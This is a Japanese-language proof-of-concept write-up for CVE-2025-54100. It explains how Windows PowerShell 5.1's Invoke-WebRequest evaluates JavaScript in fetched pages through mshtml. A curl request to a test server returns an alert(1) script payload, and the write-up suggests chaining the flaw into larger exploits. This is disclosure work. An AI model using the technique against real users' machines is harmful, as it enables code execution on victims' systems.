
CVE-2025-54100の概念実証(PoC):PowerShellのInvoke-WebRequestにおけるmshtml.HTMLDocumentClassを介したXSS。悪意のあるJavaScriptをcurlで取得する際にリモートコード実行を可能にします。
PowerShellのcurlは内部でInvoke-WebRequestを使用しています。
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
UseBasicParsingパラメータのドキュメントを見ると、
このパラメータは非推奨になりました。PowerShell 6.0.0以降、すべてのWebリクエストは基本解析のみを使用します。このパラメータは下位互換性のためにのみ含まれており、使用してもコマンドレットの動作に影響はありません。
問題は、PowerShellのInvoke-WebRequestコマンドレットのUseBasicParsingにあります。UseBasicParsingは基本解析を使用し、JavaScriptコードを一切評価しません。単にテキストを読み取って解析するだけです。
このパラメータが指定されない場合、Invoke-WebRequestは内部でInternet Explorerを起動し、mshtml.HTMLDocumentClassを使用してHTMLコードを実際に評価しながら解析しようとします。JavaScriptコードをホストしているウェブサイトにcurlリクエストを行うと、クライアントのブラウザ上でコードが実行される結果になります。今回の場合はそれがWindowsターミナルです。
mshtml.HTMLDocumentClassのドキュメントは以下にあります。
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
上記の最初のドキュメントからライフサイクルを見ると、次のことがわかります。
Windows PowerShell 5.1 2016年8月 Windows 10 Anniversary UpdateおよびWindows Server 2016、WMF 5.1でリリース PowerShell 6.0 2018年1月20日~2019年2月13日 .NET Core 2.0上で構築
調査の結果、Windows 11、Server 22、25の最新バージョンには古いバージョンのPowerShell(5.1がデフォルト)が同梱されており、XSS攻撃に対して脆弱であることがわかりました。
新しいWindows Server 22のインストール、

攻撃は非常に簡単です。

PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
工夫次第でopen("about:blank")のようなことも実行できます。

また、これは信頼性の高い実行やブラウザのレンダリングを強制するために、ブラウザエクスプロイトなどのより大きなチェーンで使用される可能性があることも考慮すべきです。
Severity: Important、Security Impact: Remote Code Executionに分類され、$5,000の報奨金が授与されました。